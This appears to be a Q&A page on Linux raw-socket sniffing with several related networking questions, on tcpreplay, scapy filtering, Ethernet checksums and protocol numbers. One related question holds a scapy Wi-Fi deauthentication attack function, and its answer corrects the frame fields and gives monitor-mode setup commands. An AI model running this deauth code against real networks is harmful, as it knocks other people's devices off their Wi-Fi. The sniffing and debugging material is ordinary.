Sniffing 802.3 eth packets with socket raw - linux

I'd need to sniff on an interface BPDU (bridge protocol data unit) packets which are encapsulated in eth frames of type 802.3 with LLC header. I tried to open a socket raw:
skd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_802_3))
but trying to sniff packets i can't catch them. Looking at include/linux/if_ether.h seems that ETH_P_802_3 was a dummy type...is there a solution or i should use ETH_P_ALL and analize the EtherType field of the ethernet header?
Thank you all!

Sorry, I'm not sure if your question is regarding the ETH_P_ALL flag or if your sniffer simply doesn't work.
I would recommend using ETH_P_ALL and decoding the headers yourself.
If your sniffers not working, make sure that you have promiscuous mode on? From the command line, you can use ifconfig eth0 promisc, assuming your ethernet device is eth0. Or you can set the IFF_PROMISC flag on your device using ioctl.
All that said, unless you have a good reason not to, it's probably strongly worth your while to not reinvent the wheel and simply use libpcap.

Related

Deauth attack with scapy in python

Hi I'm coming towards you cause I'm currently coding a framework for LAN attack to understand better how it works, and I want to add a deauth attack. Here is the code of the function, but it doesn't work and I do not understand what is wrong.
def disconnect(self):
target_mac = self.t_mac
gw_mac = self.gw_mac # gateway mac address
dot11 = Dot11(type=0, addr1=target_mac, addr2=gw_mac, addr3=gw_mac)
pkt = RadioTap()/dot11/Dot11Deauth(reason=7)
scapy.sendp(pkt, inter=0.1, count=1000, verbose=0)
I am on Windows 10, and analysis the exchange with wireshark.
The packet seems really weird on wireshark.
Hope you can give me some information to help.
Thanks in advance guys ;)
Packet Wireshark Dot11
A Dot11 packet with type 8 and subtype 12 is a Dot11Deauth packet.
So, when you define dot11 try this:
dot11 = Dot11(type=8, subtype=12, addr1=target_mac, addr2=gw_mac, addr3=gw_mac)
Also, try to put your interface in monitor mode and make sure to use a wireless interface (like wlan0, wlan1 and not eth0 wich is ethernet).
Run in shell this commands:
ifconfig <IFACE> down
iwconfig <IFACE> mode monitor
ifconfig <IFACE> up
where IFACE is the interface you want to use. Just run ifconfig to check wich one is available.

tcpreplay is sending packets out of order?

When I use 'tcpreplay' to send packets to my switch, I found that packets are out of order. For example, using tcpreplay -i eth1 test.pcap, I get:
I send packets like **[1,2,3,4,5,……]**,
but switch received **[1,3,4,2,5,……]**.
Does this problem look familiar? How did you solve it?
When you say switch received a different packet order- how are you determining this is the case? I ask because if you are sniffing on the switch port that would seem like a valid way to check for this, but if you're using a SPAN port then yeah, switches can re-order frames in my experience so I'm not that surprised.
When you run tcpdump on the tcpreplay box, which order does it show the packets being sent? Also, is there another switch in between? Because a lot of switches use a "store and forward" approach which can reorder frames (this is also why SPAN ports tend to re-order).
Lastly, tcpreplay always sends packets in order to the kernel/NIC driver/NIC because it processes the pcap file sequentially. If your computer is actually sending frames out of order, then that is happening either in the kernel, NIC driver or NIC hardware/firmware.

Python(scapy): how to sniff packets that are only outboun packets

how do I sniff packets that are only outbound packets?
I tried to sniff only destination port but it doesn't succeed at all
Quite easy indeed:
mac = get_if_hwaddr(conf.iface).lower()
sniff(lfilter=lambda pkt:pkt.haslayer(Ether) and pkt[Ether].src.lower()==mac)
If you want to print them:
sniff(lfilter=lambda pkt:pkt.haslayer(Ether) and pkt[Ether].src.lower()==get_if_hwaddr(conf.iface).lower(), prn=lambda x:x.summary())
You may use any other interface than conf.iface
Maybe you can get your device MAC address and filter any packets with that address as source address.

Is ethernet checksum exposed via AF_PACKET?

As it is implied by this question, it seems that checksum is calculated and verified by ethernet hardware, so it seems highly unlikely that it must be generated by software when sending frames using an AF_PACKET socket, as seem here and here. Also, I don't think it can be received from the socket nor by any simple mean, since even Wireshark doesn't display it.
So, can anyone confirm this? Do I really need to send the checksum myself as shown in the last two links? Will checksum be created and checked automatically by the ethernet adaptor?
No, you do not need to include the CRC.
When using a packet socket in Linux using socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL) ), you must provide the layer 2 header when sending. This is defined by struct ether_header in netinet/if_ether.h and includes the destination host, source host, and type. The frame check sequence is not included, nor is the preamble, start of frame delimiter, or trailer. These are added by the hardware.
On Linux, if you mention socket(AF_PACKET, SOCK_RAW, htobe16(ETH_P_ALL)) similar case, you don't need to calculate ethernet checksum, NIC hardware/driver will do it for you. That means you need to offer whole data link layer frame except checksum before send it to raw socket.

Modify linux protocol table

For some reason I need to change linux protocol table. For example I want to linux recognize protocol 1 as ipv4 (protocol 4) or protocol 47 to l2tp .
Does anyone know how to change this inside linux kernel or preferably in /sys folder, So my client send protocol tcp as an icmp protocol and in other side it receive icmp and recognize it as tcp.
thanks,
Protocol numbers are defined in include/uapi/linux/in.h. Exercise great caution when changing stuff there, you will make your OS incompatible with practically everything else there is out there.
edit: Watch out for drivers that blatantly ignore the value of IPPROTO_TCP in favor of hardcoded values... I just found this 'gem' in drivers/infiniband/hw/nes/nes_cm.c:
451 iph->protocol = 0x06; /* IPPROTO_TCP */

Resources